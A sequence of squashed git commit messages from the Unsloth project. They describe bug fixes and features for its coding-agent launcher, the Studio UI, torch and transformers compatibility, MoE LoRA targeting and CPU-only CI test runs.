Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* unsloth start: add --resume to persist and reopen agent sessions
`unsloth start <agent>` launches a coding agent whose home is a throwaway
temp dir wiped on exit, so codex/openclaw/hermes/pi (which relocate their
whole home there) cannot resume a conversation after you quit. opencode and
claude keep their session data in a fixed user dir, so they already resume.
Add an opt-in --resume/--no-resume flag: it routes the launch to the stable
Unsloth agents dir (the same one --no-launch already uses) so the session
survives the exit, never touching the user's own ~/.<agent>. A bare --resume
also reopens the last conversation via the agent's native flag (codex
`resume --last`, opencode/claude/pi `--continue`). The default is unchanged:
a plain launch still uses a temp dir and persists nothing.
Add a dispatch-only `resume` job to the Local Agent Guides CI that drives the
real launch path and asserts the split: codex/pi are wiped without --resume
and persist with it, while opencode/claude persist either way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* unsloth start: rename --resume to --persist
The session flag collided with agents' own resume flags. `unsloth start
claude --resume <id>` used to forward `--resume <id>` straight to Claude
(which keeps its history in ~/.claude regardless), so a boolean --resume on
unsloth start would have swallowed the session id and turned it into a stray
prompt. Name the persistence flag --persist instead, so every agent's native
resume flag (claude --resume <id>, codex resume, opencode --continue, ...)
still passes through untouched. Behavior is otherwise identical: --persist
keeps a launched agent's session under the Unsloth agents dir, and a bare
--persist reopens the last conversation.
Add a regression test that `--resume <id>` passes through verbatim, and in the
CI resume experiment skip the redundant second pass for opencode/claude (they
persist either way, and a second CPU turn only risks a timeout).
* unsloth start: correct --persist help and drop the buggy auto-resume
Reword the --persist help to be accurate: claude and opencode keep sessions in
the user's own stores and resume regardless, so --persist only stabilizes the
otherwise-ephemeral relocated home of codex/openclaw/hermes/pi. Drop the
bare-launch auto-append of native resume tokens: it errored on a first launch
with no prior session, and was inconsistent between launch and no-launch.
--persist now only keeps the session dir; resume via the agent's own command
(e.g. `unsloth start codex --persist resume`), which now finds it.
In the CI resume experiment, fail the pass when the launched turn exits
non-zero, so a write-then-error is not misread as PERSISTED.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Silence torch._check_is_size FutureWarning and shim it if torch removes it
bitsandbytes 4-bit dequant calls torch._check_is_size, which torch
deprecated with a FutureWarning ("Use _check(i >= 0) instead") that prints
on every bnb-4bit load. Silence that warning in suppress_cuda_printf, and
add fix_torch_check_is_size so a future torch that removes _check_is_size
gets it shimmed to _check(i >= 0) (honoring the max bound) and bitsandbytes
keeps working.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten fix_torch_check_is_size docstring
Lead with what the shim does and drop the redundant line; two lines
instead of three, same intent.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Mirror dynamo/inductor config sets into defaults so torch 2.12 worker threads honor them
torch 2.12 stores config user overrides in ContextVars, so direct
assignments like torch._dynamo.config.recompile_limit = 1024 no longer
reach the autograd engine worker threads. Gradient checkpointing
recomputes fullgraph-compiled gpt-oss kernels inside backward on those
threads, which then read the default recompile limit of 8 and raise
FailOnRecompileLimitHit at step 0 of GRPO/SFT. Mirror direct config
assignments into the process-global entry defaults on torch >= 2.12,
restoring the torch <= 2.11 cross-thread semantics while leaving the
context-scoped config.patch API untouched.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep config.patch thread-local when mirroring dynamo/inductor sets
config.patch(...) also assigns through ConfigModule.__setattr__, so the
default-mirror was leaking its scoped, thread-local writes into the
process-global entry default. Track patch enter/exit with a per-thread
depth counter (wrapping ConfigModule.patch) and skip mirroring while
inside a patch, so only genuine direct assignments restore the torch
2.11 cross-thread semantics and config.patch stays context-local.
* Also keep config.load_config thread-local when mirroring config sets
load_config restores a saved dynamo/inductor config by calling setattr
per key, which the default-mirror would otherwise leak process-wide just
like config.patch did. Wrap load_config with the same per-thread depth
counter (renamed to _scoped_depth) so both scoped writers skip the mirror
and stay context-local, while genuine direct assignments still restore the
torch 2.11 cross-thread default.
* Drop the pre-existing override replay from the config thread fix
The replay was redundant: this runs from _gpu_init before unsloth sets any
dynamo/inductor config, so the __setattr__ wrapper already mirrors every
later assignment (recompile_limit included). It could also read a value
that belonged to a config.patch context still active at import time and
write that thread-local override into the global default. Removing it keeps
the cross-thread fix and drops the now-unused _inductor.config import.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
When a coding agent is missing, `unsloth start <agent>` offers to run the
vendor's own installer (curl | bash, irm | iex, or npm) after an interactive
confirm. Those installers execute with the user's privileges and there is no
signature or hash check on the fetched content, so a blind "yes" is a
supply-chain risk if the delivery path is compromised.
Keep the auto-install convenience but make consent informed: before the prompt,
name the exact remote source the installer fetches (or the command it runs for a
package installer) and state that nothing verifies a signature or hash. Behavior
is otherwise unchanged: non-interactive stdin still never executes anything, and
the confirm still defaults to no.
* Fix FastSentenceTransformer Qwen embedding preprocessing
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Document Transformer.load embedding modality fix for #6881
* Harden #6881 fix and add forwards/backwards-compatible regression tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fall back to Transformer constructor on legacy sentence-transformers without Hub-capable load
* Mirror legacy sentence-transformers fallback in embedding-parity tripwire test
* Tighten #6881 comments and docstrings
* Skip embedding-parity test on CPU-only runners since FastSentenceTransformer requires CUDA
* Honor the transformer module's saved subfolder when loading
modules.json records a path for the Transformer module (root for
decoder embedders like Qwen3-Embedding, 0_Transformer for the classic
layout). Pooling/Normalize already load from their saved path; thread the
same path into Transformer.load as subfolder so config and tokenizer
resolve like stock ST. stays a no-op, so single-module models are
unchanged.
* Make embedding-parity test bf16-aware
fp16 overflows to NaN on bf16-native embedders such as EmbeddingGemma
(Gemma3), producing a false parity failure. Prefer bf16 when the GPU
supports it so the tripwire can guard the full documented embedding
matrix (Qwen3-Embedding, EmbeddingGemma, BGE-M3, all-MiniLM, GTE-ModernBERT),
not just fp16-safe models.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Retry the Studio UI shutdown re-login on transient goto timeout
The Chat UI Playwright smoke intermittently failed at the pre-shutdown
re-login: page.goto('/login') can hit a 60s TimeoutError on a slow runner
even while the server is healthy, and the surrounding except only tolerated
ERR_ABORTED / interrupted-navigation, so a plain timeout hard-failed the job.
Wrap the re-login goto/wait/fill/submit in the same 3-attempt retry the
change-password step already uses (recover_or_replace_page between tries,
per-attempt fail screenshots, wait_for_health pre-gate). The composer wait
stays outside the loop so a retry never re-navigates after login has set
tokens (which would redirect to /chat via the guest guard); it remains the
authoritative confirmation, so a genuinely broken login still fails.
* Catch transient login-request failures and preserve error listeners on recovery
Wait on the /api/auth/login POST inside the retry (via click_and_wait_for_response)
so a transient 4xx/5xx is retried in-loop instead of surfacing only at the
out-of-loop composer wait, matching the change-password step. When
recover_or_replace_page swaps in a fresh page, re-attach the pageerror/console
listeners so error tracking survives the replacement.
* Stabilize floating monitor drag
* Restore floating monitor exit animation
* Harden Windows Studio smoke checks
* Keep API menu badge removed
* Apply no-build-tools env overrides in-script
The runner does not apply step-level env keys containing parentheses,
so ProgramFiles(x86) kept its real value and Find-VsBuildTools still
detected VS through vswhere. Set the overrides inside each pwsh step
instead; child processes inherit them. The resolver step moves to pwsh
because bash cannot export a variable named ProgramFiles(x86).
* Reset chat UI session without a second browser context
macOS runs Chromium with --single-process, where closing the last
context tears down the whole browser, so the shutdown re-login died
with TargetClosedError on new_page. Clear cookies and swap pages
inside the same context instead, opening the replacement page before
closing the old one.
* Keep the no-build-tools Path filtered across session refreshes
install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
rebuild the session Path from the Machine and User registry scopes, so
the process-level filter could be undone mid-install and re-expose
CMake. Filter those scopes in the Prepare step with normalized dir
matching and restore them in cleanup.
* Drop stale localStorage auth tokens before re-login
Auth tokens live in localStorage, not cookies, and the login guest
guard redirects on their mere presence. Remove them during the session
reset so the /login navigation is deterministic instead of relying on
the tolerated redirect bounce.
* unstructured block removal
* Enhance unstructured block handling
* Restrict block cleanup to upload UIDs
* cleanup for seed block uploads
* upload cleanup queue for unstructured blocks in recipe studio
* Fix unstructured upload cleanup edge cases
* Fix unstructured upload import ownership
* Fix-unstructured-import-path-ownership
* Guard failed-delete restore against stale block in unstructured drop zone
* Drain queued upload cleanups when autosave is skipped
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: render thinking blocks for safetensors inference with prefilled <think> templates
Reasoning templates like Qwen3.6 end the generation prompt with an open
<think> tag. skip_prompt streaming drops it, so the frontend never sees
the opening tag and shows reasoning as plain text. Detect the prefill
and re-emit it at the start of the stream on the transformers and MLX
paths. Also stop stripping think tags in _clean_generated_text when a
tokenizer marks them special.
* Studio: guard think re-emit for special close tags, yield prefill early
Address review feedback:
- Guard: skip re-emitting the open <think> when the tokenizer marks </think>
as a special token, since skip_special_tokens would strip the model's close
tag and leave an unclosed block that swallows the answer. Falls back to
plain text (pre-fix behaviour) for those tokenizers.
- Yield the prefilled <think> before the first token so the thinking block
renders during prompt prefill instead of after the first generated token.
- Drop the now-unnecessary _clean_generated_text think-tag exemption; the
guard handles the special-token case at the source.
No mainstream reasoning model (Qwen3.6, Qwen3, DeepSeek-R1, QwQ, GLM-4.6)
marks think tags special, so behaviour is unchanged for them.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lyxot <longyixing331@gmail.com>
PyPI release unsloth 2026.7.2 is now live. Bumps the pinned floor in
install.sh and install.ps1 from 2026.7.1 to 2026.7.2 for both unsloth and
unsloth-zoo across all 5 install commands (no-torch / reinstall / upgrade /
local / auto torch backend paths) so fresh installs resolve to the new wheel.
Follows the same pattern as #5716.
* Studio: allow CPU-only DiffusionGemma by granting the diffusion runner the CPU device
* Studio: mark CPU-only DiffusionGemma as non-GPU-resident for training VRAM preflight
* Studio: keep the CPU DiffusionGemma change minimal (revert VRAM-flag tweak; Metal hosts still hold unified memory)
* Studio: keep CPU DiffusionGemma fallback fully CPU-masked so a masked GPU host does not re-expose GPU 0
worker.py imports has_blackwell_gpu from utils.wheel_utils, but _load_worker_module
stubs utils.wheel_utils with a fixed name tuple that omitted it, so loading the worker
raised ImportError (cannot import name 'has_blackwell_gpu') and Backend CI could not
collect test_mlx_training_worker_config.py. Add the name to the stub so it matches
worker.py's imports.
* fix: Remove moot has_blackwell_gpu() function
Fixes unslothai/unsloth#6961. This function skipped flash-attn on Blackwell GPUs because no prebuilt wheel existed;
Dao-AILab now ships one and url_exists() already gates resolution.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* fix: use torchao 0.17.0 for Blackwell
Fixes#6961. Torchao 0.16.0's cpp extensions are built against CUDA 12, so on a CUDA-13
torch (cu130 / Blackwell) they fail to load with "libcudart.so.12: cannot
open shared object file". Select 0.17.0 there instead: its cpp targets torch
2.11, so it is skipped cleanly rather than crashing. CUDA-12 / ROCm / CPU
torch 2.10 keeps 0.16.0 and its working kernels.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* Condense torchao version-selection comments (no behavior change)
* Support torch 2.11 in the Studio installer via the torch2.10 prebuilt wheels
Map torch 2.11 to the torch2.10 prebuilt wheels for flash-attn, causal-conv1d,
and mamba through wheel_utils.prebuilt_wheel_torch_mm, applied in direct_wheel_url
(filename) and flash_attn_wheel_url (version). Those torch2.10 CUDA wheels load and
pass each project's own test suite on torch 2.11 (verified on B200), so a torch 2.11
environment gets the prebuilt accelerators instead of skipping or building from source.
Raise _CUDA_TORCH_PKG_SPEC to <2.12.0 (torchvision <0.27.0, torchaudio <2.12.0) so
the CUDA torch repair path can install torch 2.11, where torchao 0.17's cpp kernels
load cleanly. Add tests for the mapping.
* Keep has_blackwell_gpu as a False stub for future arch gating
* Restore has_blackwell_gpu as a return-False probe kept for future arch gating
Keep the nvidia-smi compute_cap detection and its two call sites, but short-circuit
with return False at the top so flash-attn is no longer skipped on Blackwell (sm_100+
now has prebuilt wheels and url_exists gates resolution). Drop the early return to
re-enable arch-based detection later.
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* models: auto-target per-expert Linear MoE experts for LoRA (gpt-oss 4bit)
MoE checkpoints whose experts are stored as per-expert nn.Linear ModuleLists
could not receive expert LoRA. gpt-oss bnb-4bit is the canonical case: its
experts live at mlp.experts.gate_up_projs.<i> and mlp.experts.down_projs.<i> as
per-expert Linear4bit modules, not a fused nn.Parameter. The target_parameters
path only handles the fused nn.Parameter layout, and the plain
gate_proj/up_proj/down_proj leaf names do not match the per-expert indices, so
get_peft_model attached LoRA to attention only and left every expert frozen
(0 of 1536 on gpt-oss-20b) even though the grouped bnb-4bit training forward
exists.
Add get_moe_target_modules, the module-LoRA counterpart of
get_moe_target_parameters: it detects per-expert Linear ModuleLists under an
experts container and returns their suffix target_modules names
(gate_up_projs.<i> / down_projs.<i>). get_peft_model in both llama.py and
vision.py extends target_modules with these, handling the explicit leaf-list
form and the regex form (auto / all-linear / scoped). It is gated on the same
MLP-in-scope condition as the parameter path, so an attention-only request still
skips the experts.
Also gate get_moe_target_parameters on the fused parameter actually existing, so
a per-expert-Linear layout no longer produces a dead target_parameters path or a
misleading "Enabling LoRA on MoE parameters" line; those experts are handled
through target_modules instead.
Validated on gpt-oss-20b-unsloth-bnb-4bit (transformers 5.5.0): experts attach
(1536 modules, trainable 0.036 percent to 1.65 percent) across the default, None
and all-linear paths; training memorizes and the LoRA adapter reproduces exactly
after a cold reload in a fresh process. No regression: fused-parameter MoEs
(Qwen3-30B-A3B-4bit), non-MoE models, and attention-only requests are unaffected
(get_moe_target_modules returns an empty list).
Merging these per-expert adapters into a merged_16bit checkpoint is handled by a
companion unsloth-zoo change (saving_utils folds each per-expert delta into the
fused gate_up_proj / down_proj tensor). With both, the LoRA adapter and the
merged_16bit checkpoint reload the trained behavior identically.
* models: scope per-expert MoE targets, keep repeat get_peft_model idempotent, warn on old zoo
Address review of the per-expert Linear MoE targeting:
- Scope get_moe_target_modules to the requested projection leaves (gate/up map to
the gate_up ModuleList, down maps to the down ModuleList), so a narrowed request
such as target_modules=["down_proj"] no longer also trains gate_up_projs, matching
get_moe_target_parameters.
- Detect experts through a PEFT-wrapped base_layer as well, and recompute the
auto-added expert targets in the llama.py existing-adapter check, so a repeat
get_peft_model call with the same arguments stays idempotent instead of raising on
the saved expert targets.
- Warn when the installed unsloth_zoo cannot fold these per-expert experts into a
merged_16bit checkpoint (older releases keep the fused gate_up_proj / down_proj
tensors and drop the per-expert deltas), so the expert LoRA is not silently lost on
save_pretrained_merged; the fold lands in unsloth-zoo #885. The LoRA adapter itself
is unaffected.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio/hub): apply repo_id length limit per segment, not whole string
is_valid_repo_id() applied the 96-char limit to the full "namespace/repo_name"
string, so a repo with a valid (<=96 char) name but a long combined id was
falsely rejected. Match huggingface_hub.validate_repo_id by checking the length
per segment instead. Fixes#6946.
* Fix long repo id state filenames
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: source CPU llama.cpp prebuilts from the unslothai fork
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: reject unknown Linux CPU arches and keep ROCm-tooling hosts off the CPU prebuilt
* Studio: extend the resolve-prebuilt ROCm-tooling guard to Windows
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let ROCm-SDK-only CPU hosts take the fork CPU prebuilt
* Studio: accept windows-arm64 prebuilt kind and refresh stale fork-routing comments
* Studio: correct stale fork-routing comments and --resolve-prebuilt help
* Refresh stale ggml-org routing comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: keep transformers off sys.modules until the training worker activates the sidecar
The training worker (core/training/worker.py:run_training_process) decides the per-worker
Xet env flip during preflight by importing utils/hf_xet_fallback.py, which eagerly imported
unsloth_zoo at module load. unsloth_zoo's __init__ imports transformers, so the default
transformers 4.57.x was cached in sys.modules before activate_transformers_for_subprocess
prepended the 5.x sidecar to sys.path. Since activation only edits sys.path, the already
cached module won, and 5.x models failed to load their tokenizer or config:
- Qwen3.5 / GLM-4.7 (tokenizer_class TokenizersBackend): "Tokenizer class TokenizersBackend
does not exist or is not currently imported."
- gemma-4: "... is not supported yet in transformers==4.57.6."
Fix: load the shared unsloth_zoo backend lazily (only when a heavy download helper is first
used, which is after activation). child_should_disable_xet and the DEFAULT_* constants are
defined locally so importing the shim stays light. The download wrappers, the DownloadStallError
class, start_watchdog and get_hf_download_state resolve the shared backend on first use, and the
degraded no-unsloth_zoo fallback is preserved.
Tests:
- test_hf_xet_fallback.py: existing suite kept green via the restored _shared_* seam; the
GPU-init retry test now triggers the lazy load explicitly; new guard asserts importing
child_should_disable_xet does not import transformers/unsloth_zoo.
- test_training_worker_import_discipline.py: new invariant test that the worker preflight
imports leave transformers unimported, so this class of regression cannot return silently.
Runs in studio-backend-ci (CPU only, no network/GPU/weights).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: CPU-only guard that activation switches transformers to the model's sidecar version
Adds test_worker_activates_correct_transformers.py: runs the real worker preflight
(from utils.hf_xet_fallback import child_should_disable_xet) plus the real tier
detection and activate_transformers_for_subprocess for a transformers-5.x model
(Qwen3.5, tier 530), then asserts the in-process transformers actually switched to
the 5.x sidecar. A stale pre-activation import leaves 4.57.x pinned and fails the
assertion, which is exactly the TokenizersBackend regression (#6951).
Self-contained CUDA spoof (mirrors tests/_zoo_aggressive_cuda_spoof.py) forces
unsloth_zoo down its full, transformers-importing init path on a GPU-less runner;
without it unsloth_zoo degrades and never preloads transformers, masking the bug.
A one-line stub sidecar stands in for the 5.x venv, so no GPU, network, weights, or
real sidecar are needed. Passes on this fix, fails on buggy main.
* Studio: load the repo's canonical CUDA spoof in the correct-version guard
Load tests/_zoo_aggressive_cuda_spoof.py (the committed spoof the consolidated CI
already relies on) as the single source of truth so the guard matches CI and stays
robust on a CPU-only torch wheel, where a partial hand-rolled spoof could miss a
torch.cuda call and let the unsloth_zoo import raise (masking the bug). Falls back to
a minimal inline spoof for a standalone studio checkout. Verified: passes on this fix,
fails on buggy main, and the fallback path passes when the spoof file is absent.
* Studio: declare the lazily-resolved xet names so ruff F822 stays green
DownloadStallError, start_watchdog and get_hf_download_state are provided via the
module __getattr__ (PEP 562), so ruff F822 flagged them as undefined names in __all__
and the Source-lint / pre-commit checks went red. Add annotation-only declarations
(no value bound, so __getattr__ still resolves them lazily to the shared unsloth_zoo
backend) to mark them defined for the linter while keeping F822 active for the rest
of __all__.
* Studio: tighten comments on the sidecar-activation fix and its tests
* Studio: mirror the new MLX-dispatch preflight import in the import-discipline guard
The worker preflight now also runs 'from core.training.training import
is_apple_silicon_training_platform, should_use_mlx_training_backend' before it
activates the transformers sidecar. Add that import (guarded) to the guard's
preflight snippet so the invariant test stays a faithful mirror: a future change
that makes core.training.training pull transformers/unsloth_zoo eagerly would then
be caught too. Verified clean on the current tree (no leak).
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* feat: detect installed coding agent CLIs in Studio settings
The API-keys panel only ever showed the "claude" flavor of the
`unsloth start` command, so anyone using Codex, OpenCode, OpenClaw,
Hermes, or Pi had to manually rewrite the copied command by hand.
Add a backend check that looks for each agent's CLI binary on PATH
(shutil.which, mirroring the pattern already used elsewhere in
studio/backend/utils) and expose it as GET /api/settings/coding-agents.
The API-keys panel now renders a picker for all six supported agents,
marks the ones it finds installed, and defaults to one of those instead
of always falling back to claude.
Includes unit tests for the detection helper.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review feedback on coding-agent detection
Three fixes from PR review:
- detect_installed_coding_agents now treats a PATH lookup failure as
"not installed" instead of letting it bubble up and break the
settings endpoint; added a regression test for it.
- CodingAgentsResponse.agents is now typed as an immutable tuple
instead of a list built from one, matching CODING_AGENTS itself.
- Fixed a race in the API-keys panel: picking an agent while the
installed-CLI check is still in flight could get silently overwritten
once that check resolved. A ref now tracks whether the user has made
a manual choice, so the auto-detected default only applies before
that happens.
* Address Codex feedback: GGUF gating and remote-detection scope
- codex refuses to launch against a non-GGUF (transformers-backed) model
(unsloth_cli's _require_gguf_for_codex), so auto-defaulting to it produced
a copy-pasteable command that fails immediately whenever the loaded model
isn't GGUF. Add useActiveModelIsGguf() (looks up the active checkpoint in
the chat runtime store) and a correction effect that steers the auto-pick
away from codex unless the loaded model qualifies, without ever touching a
choice the user made by hand.
- Detection runs via shutil.which on the Studio backend host, which isn't
the same machine as the browser in a tunnel/remote session. Reword the
'installed'/'detected' copy to say so explicitly when the tunnel URL is
in use, instead of implying the check ran on the viewer's own device.
* Rework auto-default per review: loopback gating + inline GGUF check
Replaces the previous approach with the exact shape discussed on the PR:
- Export isLoopbackHost/normalizeHost from agent-command.ts. The detection
endpoint runs shutil.which on the Studio backend, which only describes the
browser's own machine when the base this panel targets resolves to
loopback. For a LAN or tunnel/remote base, gate the whole thing off --
don't mark anything as "detected" and don't let it drive the default --
instead of just relabeling the copy.
- Drop the separate GGUF-correction effect and useActiveModelIsGguf hook.
Read useChatRuntimeStore.getState().activeGgufVariant inline inside the
existing detection effect's .then() (so it doesn't need to sit in the
effect's deps), and pick the first detected agent that isn't codex unless
the loaded model is GGUF, leaving the existing default untouched when no
compatible agent is detected.
Verified both branches (loopback vs LAN/tunnel base, gguf vs non-gguf,
manual pick preserved, no-compatible-agent fallback) with a standalone
port of the .then() logic.
* Address latest Codex findings: stale detection, model swap, cache
- Clear detectedAgents (and skip the network call entirely) when the panel
leaves a loopback base, instead of leaving a previous loopback detection
result marked 'installed' for a command that now targets a LAN/tunnel/
remote host.
- Add a separate, network-free correction effect keyed on the live
activeGgufVariant: if codex was auto-picked while a GGUF model was loaded
and the user then switches to a transformers-backed model while this panel
stays mounted, steer away from codex instead of leaving a command that
unsloth_cli's _require_gguf_for_codex will now reject. Never touches a
manual pick.
- Drop coding-agents.ts's module-lifetime cache. Installed-CLI detection is
environment state, not a persisted setting, so a stale positive/negative
from before the user installed something (or reopened the tab) is worse
than one extra cheap local API call per mount; keep only the in-flight
de-dupe for concurrent callers.
Verified the correction-effect logic (gguf->non-gguf swap with/without a
fallback, still-gguf no-op, manual pick never overridden) with a standalone
port of the effect.
* Make the codex/GGUF auto-pick symmetric in both directions
The correction effect only steered away from codex when the model stopped
being GGUF; it never steered back toward codex if the model became GGUF
*after* a non-GGUF-gated fallback had already picked something else (e.g.
codex is the only detected CLI, a transformers model is loaded so the
selection correctly falls back to the claude default, then the user loads a
GGUF model while the panel stays mounted -- codex never gets reconsidered).
Consolidate into one effect that re-derives the preferred detected agent
from scratch whenever detectedAgents or activeGgufVariant changes, in either
direction, instead of only reacting to the codex-specific downgrade case.
The fetch effect now only populates detectedAgents/availableAgents; this
effect is the single source of truth for what gets auto-picked from that
list. Never overrides a manual choice.
Verified both transition directions plus the manual-pick-survives and
initial-detection cases with a standalone port of the derivation logic.
* Reset the auto-pick to the default when it stops being trustworthy
Two more real gaps from the latest Codex pass on d988f52:
- The unified derivation effect only handled the case where a *different*
detected agent could take over. If codex was the only detected agent and
auto-picked while a GGUF model was loaded, then the model stopped being
GGUF, 'preferred' came back undefined and the effect silently left the
selection on codex -- exactly the command unsloth_cli's
_require_gguf_for_codex now rejects. Fall back to DEFAULT_AGENT in that
case instead of leaving it untouched.
- Leaving a loopback base cleared detectedAgents (so the 'installed' badges
correctly disappear) but left whatever agent had been auto-picked from
that now-stale, server-side-only detection still selected. Reset to
DEFAULT_AGENT there too, unless the user picked by hand.
Introduces a shared DEFAULT_AGENT constant instead of repeating the "claude"
literal at each reset site. Verified all five cases (both new resets, both
manual-pick-survives variants, and the existing multi-detected-agent
fallback still preferring another compatible agent over resetting) with a
standalone port of the effects.
* Derive GGUF-ness from the actual loaded state, not just the variant string
activeGgufVariant only covers an HF-repo GGUF pick (a specific quant
variant string). A direct local .gguf file -- custom folder, LM
Studio, or drag-drop -- is just as much a GGUF the codex preflight
(unsloth_cli's _require_gguf_for_codex) would accept, but it never has
a "variant" to report, so it read as non-GGUF here even though
/api/inference/status correctly reports is_gguf: true for it. That
mismatch could leave a Codex-only install not auto-selected, or reset
an auto-picked Codex, for a model that actually supports it.
Combined activeGgufVariant with activeNativePathToken (covers the
drag-drop/picked-file case) and ggufContextLength (only ever populated
when the backend last reported is_gguf: true for the active model, see
applyActiveModelStatusToStore) so all three paths a model can be GGUF
through are covered, matching the same is_gguf-or-equivalent check
hasGgufSource already applies to a staged pick elsewhere in this
codebase.
* Clear stale native-path token on a non-GGUF status refresh
When a native (drag-dropped or picked) GGUF was loaded and the backend later
switches to a transformers model outside the UI load path, refresh() adopts the
new /api/inference/status via setCheckpoint and applyActiveModelStatusToStore.
Those reset activeGgufVariant and ggufContextLength but never clear
activeNativePathToken, so the isGguf OR stays true after the switch and a
Codex-only detection auto-selects unsloth start codex for a non-GGUF model its
preflight rejects.
Drop activeNativePathToken in applyActiveModelStatusToStore whenever the status
is non-GGUF. A real GGUF load reports is_gguf: true, so its token is preserved
(the load path owns it); only a non-GGUF status clears it.
* Add the AGPL-3.0 header to the new studio contract test
* Fix/adjust agent detection for PR #6909
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
* fix: launch OpenClaw local TUI by default
* Fix/adjust OpenClaw launch paths for PR #6937
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Default OpenClaw to the local TUI only on a bare invocation
The first-arg startswith('-') branch rewrote passthrough globals into a broken
command: OpenClaw's grammar is openclaw [--dev] [--profile <name>] <command>, so
'unsloth start openclaw --profile test' became 'openclaw tui --local --profile
test', but tui does not accept --profile (or --dev), so the invocation failed.
A leading '--flag value' is ambiguous between a global (--profile test) and a tui
option (--message hi), so it cannot be reinterpreted safely. Default to the local
TUI only when no passthrough args are given, and forward everything else verbatim
so OpenClaw parses it under its own grammar. The bare-launch default (the point
of this change) is preserved; explicit subcommands and global flags pass through.
---------
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* version-compat CI: fake CPU training runs for SFT/GRPO/DPO
Adds a runtime layer on top of the patch-run canary: actually runs
trainer.train() for a couple of steps on a CPU-only runner under the CUDA
spoof, wrapping a plain tiny HF model in the Unsloth-patched trainer. Exercises
the real train() loop (collation, generation, the injected
_get_per_token_logps_and_entropies, loss, backward, optimizer) so a TRL or
transformers change that breaks the loop at runtime -- not just the source
structure -- surfaces here. No GPU, no meaningful numerics.
Needs a chain of small CPU shims (eager torch.compile, dynamo suppress, cuda
tensor-alloc redirect to CPU, model.for_training/for_inference equivalents)
documented inline. Does not exercise Unsloth's Triton/GPU kernels (CPU can't).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* cpu fake-train: force adamw_torch + disable dynamo for CPU runner
On a real CPU-build torch runner (GitHub CI) two things bit that a CUDA-build
torch with GPUs hidden masked locally:
- The default optimizer is adamw_8bit (bitsandbytes), whose is_on_gpu() check
dies on CPU tensors. Force optim=adamw_torch in all three configs.
- import unsloth reinstalls the real torch.compile over the eager passthrough,
so the GRPO hot path (chunked_selective_log_softmax) actually compiles and
inductor picks the spoofed CUDA device, crashing on device props
(gcnArchName). Re-apply the eager passthrough after import and flip
torch._dynamo.config.disable so every @torch.compile runs eager at call time.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* cpu fake-train: write checkpoints under pytest tmp_path
Use pytest's tmp_path for each trainer's output_dir instead of a hardcoded
relative temp/ci_* path, so a local pytest run does not leave untracked dirs in
the repo tree and the tests are CWD-independent.
* version-compat CI: disable dynamo at process level for the fake-run job
Set TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE in the fake-run step env so
dynamo/inductor is off before conftest.py's early import unsloth, not only via
the per-test runtime shim. Defense in depth on the GPU-less runner: the GRPO
hot path never compiles regardless of when its functions were decorated.
---------
